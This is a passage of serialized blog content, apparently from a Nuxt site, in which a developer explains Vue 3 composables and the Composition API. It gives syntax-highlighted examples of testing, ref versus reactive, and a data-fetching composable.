expect",[88,2867,2868],{"class":98},"(debounced.value).",[88,2870,2871],{"class":131},"toBe",[88,2873,135],{"class":98},[88,2875,2835],{"class":105},[88,2877,855],{"class":98},[88,2879,2880],{"class":90,"line":526},[88,2881,116],{"emptyLinePlaceholder":115},[88,2883,2884,2887,2889],{"class":90,"line":532},[88,2885,2886],{"class":98}," source.value ",[88,2888,805],{"class":94},[88,2890,2891],{"class":105}," 'changed'\n",[88,2893,2894,2896,2898,2900,2902,2904,2906],{"class":90,"line":815},[88,2895,2865],{"class":131},[88,2897,2868],{"class":98},[88,2899,2871],{"class":131},[88,2901,135],{"class":98},[88,2903,2835],{"class":105},[88,2905,728],{"class":98},[88,2907,2908],{"class":346},"// Not yet updated\n",[88,2910,2911],{"class":90,"line":858},[88,2912,116],{"emptyLinePlaceholder":115},[88,2914,2915,2917,2919,2921,2923,2926,2929,2931,2934,2937],{"class":90,"line":882},[88,2916,178],{"class":94},[88,2918,971],{"class":94},[88,2920,154],{"class":145},[88,2922,135],{"class":98},[88,2924,2925],{"class":138},"resolve",[88,2927,2928],{"class":94}," =>",[88,2930,1144],{"class":131},[88,2932,2933],{"class":98},"(resolve, ",[88,2935,2936],{"class":145},"150",[88,2938,2939],{"class":98},"))\n",[88,2941,2942,2944,2946,2948,2950,2953,2955],{"class":90,"line":906},[88,2943,2865],{"class":131},[88,2945,2868],{"class":98},[88,2947,2871],{"class":131},[88,2949,135],{"class":98},[88,2951,2952],{"class":105},"'changed'",[88,2954,728],{"class":98},[88,2956,2957],{"class":346},"// Now updated\n",[88,2959,2960],{"class":90,"line":936},[88,2961,1712],{"class":98},[88,2963,2964],{"class":90,"line":941},[88,2965,2966],{"class":98},"})\n",[19,2968,2969],{},"The Composition API's design makes composables naturally testable. The reactive state is explicit, the dependencies are clear, and the lifecycle hooks can be triggered programmatically in tests.",[26,2971,2973],{"id":2972},"naming-and-documentation","Naming and Documentation",[19,2975,2976,2977,2980,2981,2984,2985,2980,2988,2984,2991,2980,2994,393],{},"A composable's name is its primary documentation. ",[40,2978,2979],{},"useFetch"," tells you more than ",[40,2982,2983],{},"useData",". ",[40,2986,2987],{},"useIntersectionObserver",[40,2989,2990],{},"useVisible",[40,2992,2993],{},"useLocalStorage",[40,2995,2996],{},"useStorage",[19,2998,2999],{},"For complex composables, add a JSDoc comment with an example:",[79,3001,3003],{"className":81,"code":3002,"language":83,"meta":84,"style":84},"/**\n * Syncs a reactive value with localStorage.\n *\n * @param key - The localStorage key to use\n * @param defaultValue - The value to use when the key is not set\n * @returns A writable ref that automatically persists to localStorage\n *\n * @example\n * const theme = useLocalStorage('theme', 'light')\n * theme.value = 'dark' // Automatically persisted\n */\nexport function useLocalStorage\u003CT>(key: string, defaultValue: T) {\n",[40,3004,3005,3010,3015,3020,3034,3046,3056,3060,3067,3072,3080,3085],{"__ignoreMap":84},[88,3006,3007],{"class":90,"line":91},[88,3008,3009],{"class":346},"/**\n",[88,3011,3012],{"class":90,"line":112},[88,3013,3014],{"class":346}," * Syncs a reactive value with localStorage.\n",[88,3016,3017],{"class":90,"line":119},[88,3018,3019],{"class":346}," *\n",[88,3021,3022,3025,3028,3031],{"class":90,"line":166},[88,3023,3024],{"class":346}," * ",[88,3026,3027],{"class":94},"@param",[88,3029,3030],{"class":98}," key",[88,3032,3033],{"class":346}," - The localStorage key to use\n",[88,3035,3036,3038,3040,3043],{"class":90,"line":191},[88,3037,3024],{"class":346},[88,3039,3027],{"class":94},[88,3041,3042],{"class":98}," defaultValue",[88,3044,3045],{"class":346}," - The value to use when the key is not set\n",[88,3047,3048,3050,3053],{"class":90,"line":208},[88,3049,3024],{"class":346},[88,3051,3052],{"class":94},"@returns",[88,3054,3055],{"class":346}," A writable ref that automatically persists to localStorage\n",[88,3057,3058],{"class":90,"line":509},[88,3059,3019],{"class":346},[88,3061,3062,3064],{"class":90,"line":520},[88,3063,3024],{"class":346},[88,3065,3066],{"class":94},"@example\n",[88,3068,3069],{"class":90,"line":526},[88,3070,3071],{"class":346}," * const theme = useLocalStorage('theme', 'light')\n",[88,3073,3074,3077],{"class":90,"line":532},[88,3075,3076],{"class":346}," * theme.value = 'dark'",[88,3078,3079],{"class":346}," // Automatically persisted\n",[88,3081,3082],{"class":90,"line":815},[88,3083,3084],{"class":346}," */\n",[88,3086,3087,3089,3091,3093,3095,3097,3099,3101,3103,3105,3107,3109,3111,3113],{"class":90,"line":858},[88,3088,1478],{"class":94},[88,3090,128],{"class":94},[88,3092,1849],{"class":131},[88,3094,157],{"class":98},[88,3096,1854],{"class":131},[88,3098,849],{"class":98},[88,3100,1859],{"class":138},[88,3102,142],{"class":94},[88,3104,146],{"class":145},[88,3106,483],{"class":98},[88,3108,1868],{"class":138},[88,3110,142],{"class":94},[88,3112,1873],{"class":131},[88,3114,774],{"class":98},[19,3116,3117],{},"Composables are the building blocks of a well-structured Vue 3 application. Design them with the same care you would give any public API — they will be called from many places over the lifetime of your project.",[565,3119],{},[19,3121,3122,3123,393],{},"Working on a Vue 3 or Nuxt codebase and want a review of your composable patterns or state management approach? I am happy to help — book a call at ",[571,3124,3126],{"href":573,"rel":3125},[575],"calendly.com/jamesrossjr",[565,3128],{},[26,3130,581],{"id":580},[583,3132,3133,3139,3145,3151],{},[586,3134,3135],{},[571,3136,3138],{"href":3137},"/blog/vue-3-composition-api-guide","Vue 3 Composition API: A Practical Guide With Real Examples",[586,3140,3141],{},[571,3142,3144],{"href":3143},"/blog/vue-3-vs-react-2026","Vue 3 vs React in 2026: Choosing the Right Framework for Your Project",[586,3146,3147],{},[571,3148,3150],{"href":3149},"/blog/pinia-state-management-guide","Pinia State Management: The Vue Store That Replaced Vuex",[586,3152,3153],{},[571,3154,3156],{"href":3155},"/blog/nuxt-4-features-guide","Nuxt 4: What Changed and Why It Matters",[611,3158,3159],{},"html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}",{"title":84,"searchDepth":119,"depth":119,"links":3161},[3162,3163,3164,3170,3171,3172,3173],{"id":658,"depth":112,"text":659},{"id":675,"depth":112,"text":676},{"id":1459,"depth":112,"text":1460,"children":3165},[3166,3167,3168,3169],{"id":1464,"depth":119,"text":1465},{"id":1834,"depth":119,"text":1835},{"id":2057,"depth":119,"text":2058},{"id":2353,"depth":119,"text":2354},{"id":2719,"depth":112,"text":2720},{"id":2757,"depth":112,"text":2758},{"id":2972,"depth":112,"text":2973},{"id":580,"depth":112,"text":581},"Engineering","A deep-dive into Vue 3 composables — how to write them well, when to use them vs components or Pinia, real patterns from production apps, and the mistakes to avoid.",[3177,3178],"Vue 3 composables","Vue composables",{},"/blog/vue-3-composables-guide",{"title":646,"description":3175},"blog/vue-3-composables-guide",[3184,3185,3186],"Vue","Composables","Patterns","AOBQL19CsDyEuUWWcFtSQfnd6nvVII0veaNi_xEIuTs",{"id":3189,"title":3138,"author":3190,"body":3191,"category":3174,"date":627,"description":4999,"extension":629,"featured":630,"image":631,"keywords":5000,"meta":5003,"navigation":115,"path":3137,"readTime":509,"seo":5004,"stem":5005,"tags":5006,"__hash__":5008},"blog/blog/vue-3-composition-api-guide.md",{"name":9,"bio":10},{"type":12,"value":3192,"toc":4987},[3193,3200,3203,3207,3231,3234,3237,3241,3246,3604,3614,3618,3628,3641,3738,3747,3751,3754,3757,4134,4137,4310,4314,4324,4453,4464,4468,4479,4560,4563,4672,4675,4679,4682,4687,4692,4701,4799,4808,4812,4815,4936,4939,4943,4949,4952,4954,4960,4962,4964,4984],[19,3194,3195,3196,3199],{},"The Composition API is the biggest conceptual shift Vue has ever made, and a lot of developers are still not using it effectively. I see codebases that adopted ",[40,3197,3198],{},"\u003Cscript setup>"," syntactically but kept the same organizational patterns from the Options API — everything in a flat list, no composables, logic that belongs together scattered across the file.",[19,3201,3202],{},"This guide is about using the Composition API the way it was designed to be used. Not just the syntax, but the patterns that make it genuinely better than what came before.",[26,3204,3206],{"id":3205},"why-the-composition-api-exists","Why the Composition API Exists",[19,3208,3209,3210,483,3212,483,3215,483,3218,3221,3222,3224,3225,3227,3228,3230],{},"The Options API organized code by option type: ",[40,3211,720],{},[40,3213,3214],{},"methods",[40,3216,3217],{},"computed",[40,3219,3220],{},"watch",". The problem with that structure is that a single logical concern — say, managing a user's authentication state — gets split across multiple sections. The data lives in ",[40,3223,720],{},", the methods live in ",[40,3226,3214],{},", the watchers live in ",[40,3229,3220],{},". Reading the code for one feature requires jumping between sections.",[19,3232,3233],{},"The Composition API organizes code by logical concern instead. Everything related to authentication lives together. Everything related to pagination lives together. When you need to understand or modify a feature, you read a contiguous block of code instead of playing connect-the-dots across a file.",[19,3235,3236],{},"This sounds minor until you work on a component with eight logical concerns. Then it matters a lot.",[26,3238,3240],{"id":3239},"the-basics-with-script-setup","The Basics With Script Setup",[19,3242,1821,3243,3245],{},[40,3244,3198],{}," syntax is the right default for all new components. It is more concise and has better TypeScript inference than the alternative forms:",[79,3247,3249],{"className":2560,"code":3248,"language":2562,"meta":84,"style":84},"\u003Cscript setup lang=\"ts\">\nimport { ref, computed, watch, onMounted } from 'vue'\n\nInterface User {\n id: number\n name: string\n email: string\n}\n\n// Reactive state\nconst user = ref\u003CUser | null>(null)\nconst loading = ref(false)\nconst error = ref\u003Cstring | null>(null)\n\n// Computed property\nconst displayName = computed(() => user.value?.name ?? 'Guest')\n\n// Watch for changes\nwatch(user, (newUser) => {\n if (newUser) {\n document.title = `Profile — ${newUser.name}`\n }\n})\n\n// Lifecycle hook\nonMounted(async () => {\n loading.value = true\n try {\n const response = await fetch('/api/user/me')\n user.value = await response.json()\n } catch (e) {\n error.value = 'Failed to load user'\n } finally {\n loading.value = false\n }\n})\n\u003C/script>\n",[40,3250,3251,3267,3279,3283,3288,3295,3303,3310,3314,3318,3323,3347,3363,3387,3391,3396,3422,3426,3431,3447,3454,3474,3478,3482,3486,3491,3506,3514,3520,3540,3555,3563,3572,3580,3588,3592,3596],{"__ignoreMap":84},[88,3252,3253,3255,3257,3259,3261,3263,3265],{"class":90,"line":91},[88,3254,157],{"class":98},[88,3256,2572],{"class":2571},[88,3258,2575],{"class":131},[88,3260,2578],{"class":131},[88,3262,805],{"class":98},[88,3264,2583],{"class":105},[88,3266,2586],{"class":98},[88,3268,3269,3271,3274,3276],{"class":90,"line":112},[88,3270,95],{"class":94},[88,3272,3273],{"class":98}," { ref, computed, watch, onMounted } ",[88,3275,102],{"class":94},[88,3277,3278],{"class":105}," 'vue'\n",[88,3280,3281],{"class":90,"line":119},[88,3282,116],{"emptyLinePlaceholder":115},[88,3284,3285],{"class":90,"line":166},[88,3286,3287],{"class":98},"Interface User {\n",[88,3289,3290,3292],{"class":90,"line":191},[88,3291,1670],{"class":131},[88,3293,3294],{"class":98},": number\n",[88,3296,3297,3300],{"class":90,"line":208},[88,3298,3299],{"class":131}," name",[88,3301,3302],{"class":98},": string\n",[88,3304,3305,3308],{"class":90,"line":509},[88,3306,3307],{"class":131}," email",[88,3309,3302],{"class":98},[88,3311,3312],{"class":90,"line":520},[88,3313,211],{"class":98},[88,3315,3316],{"class":90,"line":526},[88,3317,116],{"emptyLinePlaceholder":115},[88,3319,3320],{"class":90,"line":532},[88,3321,3322],{"class":346},"// Reactive state\n",[88,3324,3325,3327,3329,3331,3333,3335,3337,3339,3341,3343,3345],{"class":90,"line":815},[88,3326,2021],{"class":94},[88,3328,1508],{"class":145},[88,3330,175],{"class":94},[88,3332,825],{"class":131},[88,3334,157],{"class":98},[88,3336,1517],{"class":131},[88,3338,833],{"class":94},[88,3340,898],{"class":145},[88,3342,849],{"class":98},[88,3344,877],{"class":145},[88,3346,855],{"class":98},[88,3348,3349,3351,3353,3355,3357,3359,3361],{"class":90,"line":858},[88,3350,2021],{"class":94},[88,3352,1534],{"class":145},[88,3354,175],{"class":94},[88,3356,825],{"class":131},[88,3358,135],{"class":98},[88,3360,1543],{"class":145},[88,3362,855],{"class":98},[88,3364,3365,3367,3369,3371,3373,3375,3377,3379,3381,3383,3385],{"class":90,"line":882},[88,3366,2021],{"class":94},[88,3368,1552],{"class":145},[88,3370,175],{"class":94},[88,3372,825],{"class":131},[88,3374,157],{"class":98},[88,3376,1498],{"class":145},[88,3378,833],{"class":94},[88,3380,898],{"class":145},[88,3382,849],{"class":98},[88,3384,877],{"class":145},[88,3386,855],{"class":98},[88,3388,3389],{"class":90,"line":906},[88,3390,116],{"emptyLinePlaceholder":115},[88,3392,3393],{"class":90,"line":936},[88,3394,3395],{"class":346},"// Computed property\n",[88,3397,3398,3400,3403,3405,3408,3410,3412,3415,3417,3420],{"class":90,"line":941},[88,3399,2021],{"class":94},[88,3401,3402],{"class":145}," displayName",[88,3404,175],{"class":94},[88,3406,3407],{"class":131}," computed",[88,3409,1618],{"class":98},[88,3411,731],{"class":94},[88,3413,3414],{"class":98}," user.value?.name ",[88,3416,200],{"class":94},[88,3418,3419],{"class":105}," 'Guest'",[88,3421,855],{"class":98},[88,3423,3424],{"class":90,"line":952},[88,3425,116],{"emptyLinePlaceholder":115},[88,3427,3428],{"class":90,"line":963},[88,3429,3430],{"class":346},"// Watch for changes\n",[88,3432,3433,3435,3438,3441,3443,3445],{"class":90,"line":979},[88,3434,3220],{"class":131},[88,3436,3437],{"class":98},"(user, (",[88,3439,3440],{"class":138},"newUser",[88,3442,728],{"class":98},[88,3444,731],{"class":94},[88,3446,452],{"class":98},[88,3448,3449,3451],{"class":90,"line":984},[88,3450,1122],{"class":94},[88,3452,3453],{"class":98}," (newUser) {\n",[88,3455,3456,3459,3461,3464,3466,3468,3471],{"class":90,"line":1002},[88,3457,3458],{"class":98}," document.title ",[88,3460,805],{"class":94},[88,3462,3463],{"class":105}," `Profile — ${",[88,3465,3440],{"class":98},[88,3467,393],{"class":105},[88,3469,3470],{"class":98},"name",[88,3472,3473],{"class":105},"}`\n",[88,3475,3476],{"class":90,"line":1012},[88,3477,523],{"class":98},[88,3479,3480],{"class":90,"line":1017},[88,3481,2966],{"class":98},[88,3483,3484],{"class":90,"line":1022},[88,3485,116],{"emptyLinePlaceholder":115},[88,3487,3488],{"class":90,"line":1043},[88,3489,3490],{"class":346},"// Lifecycle hook\n",[88,3492,3493,3496,3498,3500,3502,3504],{"class":90,"line":1064},[88,3494,3495],{"class":131},"onMounted",[88,3497,135],{"class":98},[88,3499,125],{"class":94},[88,3501,995],{"class":98},[88,3503,731],{"class":94},[88,3505,452],{"class":98},[88,3507,3508,3510,3512],{"class":90,"line":1075},[88,3509,1638],{"class":98},[88,3511,805],{"class":94},[88,3513,1643],{"class":145},[88,3515,3516,3518],{"class":90,"line":1083},[88,3517,1661],{"class":94},[88,3519,452],{"class":98},[88,3521,3522,3524,3527,3529,3531,3533,3535,3538],{"class":90,"line":1088},[88,3523,169],{"class":94},[88,3525,3526],{"class":145}," response",[88,3528,175],{"class":94},[88,3530,178],{"class":94},[88,3532,355],{"class":131},[88,3534,135],{"class":98},[88,3536,3537],{"class":105},"'/api/user/me'",[88,3539,855],{"class":98},[88,3541,3542,3544,3546,3548,3551,3553],{"class":90,"line":1093},[88,3543,1683],{"class":98},[88,3545,805],{"class":94},[88,3547,178],{"class":94},[88,3549,3550],{"class":98}," response.",[88,3552,266],{"class":131},[88,3554,1325],{"class":98},[88,3556,3557,3559,3561],{"class":90,"line":1109},[88,3558,802],{"class":98},[88,3560,1719],{"class":94},[88,3562,1722],{"class":98},[88,3564,3565,3567,3569],{"class":90,"line":1119},[88,3566,1648],{"class":98},[88,3568,805],{"class":94},[88,3570,3571],{"class":105}," 'Failed to load user'\n",[88,3573,3574,3576,3578],{"class":90,"line":1136},[88,3575,802],{"class":98},[88,3577,1769],{"class":94},[88,3579,452],{"class":98},[88,3581,3582,3584,3586],{"class":90,"line":1150},[88,3583,1638],{"class":98},[88,3585,805],{"class":94},[88,3587,1780],{"class":145},[88,3589,3590],{"class":90,"line":1155},[88,3591,523],{"class":98},[88,3593,3594],{"class":90,"line":1160},[88,3595,2966],{"class":98},[88,3597,3598,3600,3602],{"class":90,"line":1165},[88,3599,2712],{"class":98},[88,3601,2572],{"class":2571},[88,3603,2586],{"class":98},[19,3605,3606,3607,3609,3610,3613],{},"Everything declared at the top level of ",[40,3608,3198],{}," is automatically available in the template. No explicit ",[40,3611,3612],{},"return"," statement needed. The TypeScript integration is clean — interfaces defined here flow into the template without additional configuration.",[26,3615,3617],{"id":3616},"reactive-vs-ref","Reactive vs Ref",[19,3619,3620,3621,3624,3625,393],{},"One source of confusion for developers new to the Composition API is when to use ",[40,3622,3623],{},"ref"," versus ",[40,3626,3627],{},"reactive",[19,3629,3630,3631,3633,3634,3637,3638,3640],{},"My rule: use ",[40,3632,3623],{}," for everything. It is consistent, it is predictable, and you always know that the underlying value is at ",[40,3635,3636],{},".value",". With ",[40,3639,3627],{},", you lose reactivity if you destructure the object, which causes subtle bugs.",[79,3642,3644],{"className":81,"code":3643,"language":83,"meta":84,"style":84},"// This loses reactivity — don't do this with reactive()\nconst { count } = reactive({ count: 0 })\ncount++ // NOT reactive\n\n// ref is safe to destructure with toRefs\nconst state = reactive({ count: 0 })\nconst { count } = toRefs(state)\ncount.value++ // reactive\n",[40,3645,3646,3651,3674,3684,3688,3693,3710,3728],{"__ignoreMap":84},[88,3647,3648],{"class":90,"line":91},[88,3649,3650],{"class":346},"// This loses reactivity — don't do this with reactive()\n",[88,3652,3653,3655,3657,3660,3662,3664,3667,3670,3672],{"class":90,"line":112},[88,3654,2021],{"class":94},[88,3656,781],{"class":98},[88,3658,3659],{"class":145},"count",[88,3661,802],{"class":98},[88,3663,805],{"class":94},[88,3665,3666],{"class":131}," reactive",[88,3668,3669],{"class":98},"({ count: ",[88,3671,2254],{"class":145},[88,3673,1712],{"class":98},[88,3675,3676,3678,3681],{"class":90,"line":119},[88,3677,3659],{"class":98},[88,3679,3680],{"class":94},"++",[88,3682,3683],{"class":346}," // NOT reactive\n",[88,3685,3686],{"class":90,"line":166},[88,3687,116],{"emptyLinePlaceholder":115},[88,3689,3690],{"class":90,"line":191},[88,3691,3692],{"class":346},"// ref is safe to destructure with toRefs\n",[88,3694,3695,3697,3700,3702,3704,3706,3708],{"class":90,"line":208},[88,3696,2021],{"class":94},[88,3698,3699],{"class":145}," state",[88,3701,175],{"class":94},[88,3703,3666],{"class":131},[88,3705,3669],{"class":98},[88,3707,2254],{"class":145},[88,3709,1712],{"class":98},[88,3711,3712,3714,3716,3718,3720,3722,3725],{"class":90,"line":509},[88,3713,2021],{"class":94},[88,3715,781],{"class":98},[88,3717,3659],{"class":145},[88,3719,802],{"class":98},[88,3721,805],{"class":94},[88,3723,3724],{"class":131}," toRefs",[88,3726,3727],{"class":98},"(state)\n",[88,3729,3730,3733,3735],{"class":90,"line":520},[88,3731,3732],{"class":98},"count.value",[88,3734,3680],{"class":94},[88,3736,3737],{"class":346}," // reactive\n",[19,3739,3740,3741,3743,3744,3746],{},"Using ",[40,3742,3623],{}," consistently eliminates this entire class of bugs. The ",[40,3745,3636],{}," access is a small price to pay for predictability.",[26,3748,3750],{"id":3749},"composables-the-real-power","Composables: The Real Power",[19,3752,3753],{},"The Composition API's killer feature is composables — functions that encapsulate reactive state and logic. This is where the Options API simply cannot compete.",[19,3755,3756],{},"Here is a real composable I use for data fetching with loading, error, and abort control:",[79,3758,3760],{"className":81,"code":3759,"language":83,"meta":84,"style":84},"// composables/useFetch.ts\nexport function useApiFetch\u003CT>(url: MaybeRefOrGetter\u003Cstring>) {\n const data = ref\u003CT | null>(null)\n const loading = ref(false)\n const error = ref\u003Cstring | null>(null)\n let controller: AbortController | null = null\n\n async function execute() {\n controller?.abort()\n controller = new AbortController()\n\n loading.value = true\n error.value = null\n\n try {\n const response = await fetch(toValue(url), {\n signal: controller.signal,\n })\n if (!response.ok) throw new Error(`HTTP ${response.status}`)\n data.value = await response.json()\n } catch (e) {\n if (e instanceof Error && e.name !== 'AbortError') {\n error.value = e.message\n }\n } finally {\n loading.value = false\n }\n }\n\n // Re-execute when URL changes\n watchEffect(execute)\n\n onUnmounted(() => controller?.abort())\n\n return { data, loading, error, execute }\n}\n",[40,3761,3762,3767,3794,3818,3834,3858,3876,3880,3892,3901,3914,3918,3926,3934,3938,3944,3963,3967,3971,4006,4021,4029,4049,4057,4061,4069,4077,4081,4085,4089,4094,4101,4105,4119,4123,4130],{"__ignoreMap":84},[88,3763,3764],{"class":90,"line":91},[88,3765,3766],{"class":346},"// composables/useFetch.ts\n",[88,3768,3769,3771,3773,3776,3778,3780,3782,3784,3786,3788,3790,3792],{"class":90,"line":112},[88,3770,1478],{"class":94},[88,3772,128],{"class":94},[88,3774,3775],{"class":131}," useApiFetch",[88,3777,157],{"class":98},[88,3779,1854],{"class":131},[88,3781,849],{"class":98},[88,3783,784],{"class":138},[88,3785,142],{"class":94},[88,3787,1493],{"class":131},[88,3789,157],{"class":98},[88,3791,1498],{"class":145},[88,3793,1501],{"class":98},[88,3795,3796,3798,3800,3802,3804,3806,3808,3810,3812,3814,3816],{"class":90,"line":119},[88,3797,169],{"class":94},[88,3799,1048],{"class":145},[88,3801,175],{"class":94},[88,3803,825],{"class":131},[88,3805,157],{"class":98},[88,3807,1854],{"class":131},[88,3809,833],{"class":94},[88,3811,898],{"class":145},[88,3813,849],{"class":98},[88,3815,877],{"class":145},[88,3817,855],{"class":98},[88,3819,3820,3822,3824,3826,3828,3830,3832],{"class":90,"line":166},[88,3821,169],{"class":94},[88,3823,1534],{"class":145},[88,3825,175],{"class":94},[88,3827,825],{"class":131},[88,3829,135],{"class":98},[88,3831,1543],{"class":145},[88,3833,855],{"class":98},[88,3835,3836,3838,3840,3842,3844,3846,3848,3850,3852,3854,3856],{"class":90,"line":191},[88,3837,169],{"class":94},[88,3839,1552],{"class":145},[88,3841,175],{"class":94},[88,3843,825],{"class":131},[88,3845,157],{"class":98},[88,3847,1498],{"class":145},[88,3849,833],{"class":94},[88,3851,898],{"class":145},[88,3853,849],{"class":98},[88,3855,877],{"class":145},[88,3857,855],{"class":98},[88,3859,3860,3862,3864,3866,3868,3870,3872,3874],{"class":90,"line":208},[88,3861,885],{"class":94},[88,3863,1601],{"class":98},[88,3865,142],{"class":94},[88,3867,1608],{"class":131},[88,3869,833],{"class":94},[88,3871,898],{"class":145},[88,3873,175],{"class":94},[88,3875,903],{"class":145},[88,3877,3878],{"class":90,"line":509},[88,3879,116],{"emptyLinePlaceholder":115},[88,3881,3882,3885,3887,3890],{"class":90,"line":520},[88,3883,3884],{"class":94}," async",[88,3886,128],{"class":94},[88,3888,3889],{"class":131}," execute",[88,3891,949],{"class":98},[88,3893,3894,3897,3899],{"class":90,"line":526},[88,3895,3896],{"class":98}," controller?.",[88,3898,1626],{"class":131},[88,3900,1325],{"class":98},[88,3902,3903,3906,3908,3910,3912],{"class":90,"line":532},[88,3904,3905],{"class":98}," controller ",[88,3907,805],{"class":94},[88,3909,971],{"class":94},[88,3911,1608],{"class":131},[88,3913,1325],{"class":98},[88,3915,3916],{"class":90,"line":815},[88,3917,116],{"emptyLinePlaceholder":115},[88,3919,3920,3922,3924],{"class":90,"line":858},[88,3921,1638],{"class":98},[88,3923,805],{"class":94},[88,3925,1643],{"class":145},[88,3927,3928,3930,3932],{"class":90,"line":882},[88,3929,1648],{"class":98},[88,3931,805],{"class":94},[88,3933,903],{"class":145},[88,3935,3936],{"class":90,"line":906},[88,3937,116],{"emptyLinePlaceholder":115},[88,3939,3940,3942],{"class":90,"line":936},[88,3941,1661],{"class":94},[88,3943,452],{"class":98},[88,3945,3946,3948,3950,3952,3954,3956,3958,3960],{"class":90,"line":941},[88,3947,169],{"class":94},[88,3949,3526],{"class":145},[88,3951,175],{"class":94},[88,3953,178],{"class":94},[88,3955,355],{"class":131},[88,3957,135],{"class":98},[88,3959,2418],{"class":131},[88,3961,3962],{"class":98},"(url), {\n",[88,3964,3965],{"class":90,"line":952},[88,3966,1707],{"class":98},[88,3968,3969],{"class":90,"line":963},[88,3970,1712],{"class":98},[88,3972,3973,3975,3977,3979,3982,3985,3987,3989,3991,3994,3997,3999,4002,4004],{"class":90,"line":979},[88,3974,1122],{"class":94},[88,3976,717],{"class":98},[88,3978,2208],{"class":94},[88,3980,3981],{"class":98},"response.ok) ",[88,3983,3984],{"class":94},"throw",[88,3986,971],{"class":94},[88,3988,1735],{"class":131},[88,3990,135],{"class":98},[88,3992,3993],{"class":105},"`HTTP ${",[88,3995,3996],{"class":98},"response",[88,3998,393],{"class":105},[88,4000,4001],{"class":98},"status",[88,4003,366],{"class":105},[88,4005,855],{"class":98},[88,4007,4008,4011,4013,4015,4017,4019],{"class":90,"line":984},[88,4009,4010],{"class":98}," data.value ",[88,4012,805],{"class":94},[88,4014,178],{"class":94},[88,4016,3550],{"class":98},[88,4018,266],{"class":131},[88,4020,1325],{"class":98},[88,4022,4023,4025,4027],{"class":90,"line":1002},[88,4024,802],{"class":98},[88,4026,1719],{"class":94},[88,4028,1722],{"class":98},[88,4030,4031,4033,4035,4037,4039,4041,4043,4045,4047],{"class":90,"line":1012},[88,4032,1122],{"class":94},[88,4034,1729],{"class":98},[88,4036,1732],{"class":94},[88,4038,1735],{"class":131},[88,4040,1738],{"class":94},[88,4042,1741],{"class":98},[88,4044,1744],{"class":94},[88,4046,1747],{"class":105},[88,4048,774],{"class":98},[88,4050,4051,4053,4055],{"class":90,"line":1017},[88,4052,1648],{"class":98},[88,4054,805],{"class":94},[88,4056,1758],{"class":98},[88,4058,4059],{"class":90,"line":1022},[88,4060,523],{"class":98},[88,4062,4063,4065,4067],{"class":90,"line":1043},[88,4064,802],{"class":98},[88,4066,1769],{"class":94},[88,4068,452],{"class":98},[88,4070,4071,4073,4075],{"class":90,"line":1064},[88,4072,1638],{"class":98},[88,4074,805],{"class":94},[88,4076,1780],{"class":145},[88,4078,4079],{"class":90,"line":1075},[88,4080,523],{"class":98},[88,4082,4083],{"class":90,"line":1083},[88,4084,523],{"class":98},[88,4086,4087],{"class":90,"line":1088},[88,4088,116],{"emptyLinePlaceholder":115},[88,4090,4091],{"class":90,"line":1093},[88,4092,4093],{"class":346}," // Re-execute when URL changes\n",[88,4095,4096,4098],{"class":90,"line":1109},[88,4097,1579],{"class":131},[88,4099,4100],{"class":98},"(execute)\n",[88,4102,4103],{"class":90,"line":1119},[88,4104,116],{"emptyLinePlaceholder":115},[88,4106,4107,4109,4111,4113,4115,4117],{"class":90,"line":1136},[88,4108,1367],{"class":131},[88,4110,1618],{"class":98},[88,4112,731],{"class":94},[88,4114,3896],{"class":98},[88,4116,1626],{"class":131},[88,4118,1629],{"class":98},[88,4120,4121],{"class":90,"line":1150},[88,4122,116],{"emptyLinePlaceholder":115},[88,4124,4125,4127],{"class":90,"line":1155},[88,4126,194],{"class":94},[88,4128,4129],{"class":98}," { data, loading, error, execute }\n",[88,4131,4132],{"class":90,"line":1160},[88,4133,211],{"class":98},[19,4135,4136],{},"Now any component that needs to fetch data gets consistent loading states, error handling, and automatic cleanup — without repeating that logic:",[79,4138,4140],{"className":2560,"code":4139,"language":2562,"meta":84,"style":84},"\u003Cscript setup lang=\"ts\">\nconst { data: posts, loading, error } = useApiFetch\u003CPost[]>('/api/posts')\n\u003C/script>\n\n\u003Ctemplate>\n \u003Cdiv>\n \u003CLoadingSpinner v-if=\"loading\" />\n \u003CErrorMessage v-else-if=\"error\" :message=\"error\" />\n \u003CPostList v-else :posts=\"posts ?? []\" />\n \u003C/div>\n\u003C/template>\n",[40,4141,4142,4158,4200,4208,4212,4221,4231,4249,4273,4293,4302],{"__ignoreMap":84},[88,4143,4144,4146,4148,4150,4152,4154,4156],{"class":90,"line":91},[88,4145,157],{"class":98},[88,4147,2572],{"class":2571},[88,4149,2575],{"class":131},[88,4151,2578],{"class":131},[88,4153,805],{"class":98},[88,4155,2583],{"class":105},[88,4157,2586],{"class":98},[88,4159,4160,4162,4164,4166,4168,4171,4173,4176,4178,4181,4183,4185,4187,4189,4192,4195,4198],{"class":90,"line":112},[88,4161,2021],{"class":94},[88,4163,781],{"class":98},[88,4165,720],{"class":138},[88,4167,281],{"class":98},[88,4169,4170],{"class":145},"posts",[88,4172,483],{"class":98},[88,4174,4175],{"class":145},"loading",[88,4177,483],{"class":98},[88,4179,4180],{"class":145},"error",[88,4182,802],{"class":98},[88,4184,805],{"class":94},[88,4186,3775],{"class":131},[88,4188,157],{"class":98},[88,4190,4191],{"class":131},"Post",[88,4193,4194],{"class":98},"[]>(",[88,4196,4197],{"class":105},"'/api/posts'",[88,4199,855],{"class":98},[88,4201,4202,4204,4206],{"class":90,"line":119},[88,4203,2712],{"class":98},[88,4205,2572],{"class":2571},[88,4207,2586],{"class":98},[88,4209,4210],{"class":90,"line":166},[88,4211,116],{"emptyLinePlaceholder":115},[88,4213,4214,4216,4219],{"class":90,"line":191},[88,4215,157],{"class":98},[88,4217